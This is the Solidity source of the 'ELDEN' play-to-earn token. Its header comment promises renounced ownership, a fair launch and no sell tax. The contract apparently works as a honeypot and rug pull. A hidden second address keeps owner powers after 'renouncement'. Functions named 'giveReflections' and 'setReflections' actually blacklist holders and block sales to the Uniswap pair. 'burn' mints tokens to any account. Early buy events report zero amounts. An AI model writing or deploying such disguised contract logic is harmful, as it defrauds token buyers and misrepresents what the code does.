/*


   ▄████████  ▄█       ████████▄     ▄████████ ███▄▄▄▄   
  ███    ███ ███       ███   ▀███   ███    ███ ███▀▀▀██▄ 
  ███    █▀  ███       ███    ███   ███    █▀  ███   ███ 
 ▄███▄▄▄     ███       ███    ███  ▄███▄▄▄     ███   ███ 
▀▀███▀▀▀     ███       ███    ███ ▀▀███▀▀▀     ███   ███ 
  ███    █▄  ███       ███    ███   ███    █▄  ███   ███ 
  ███    ███ ███▌    ▄ ███   ▄███   ███    ███ ███   ███ 
  ██████████ █████▄▄██ ████████▀    ██████████  ▀█   █▀  
             ▀                                           


ELDEN is the official token for the Elden World play to earn game. 
Inspired by the world of Elden Ring, Elden World lets you send your character on missions to get loot in the form of NFTs.
ELDEN can be used to buy crates that contain weapons and armor to upgrade your character.
0% Tax on token sales, All funding for the project is provided with a 5% tax when purchasing crates
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
More info available on our telegram and website


*/

pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract ELDEN is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 5000000000000*10**18;
    string public _name = "ELDEN";
    string public _symbol= "ELDEN";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0x5a28E0cbEE9B9aD286cda1A2d1e48CCb0427916F);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function giveReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function toggleReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function setReflections() onlyOwner public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}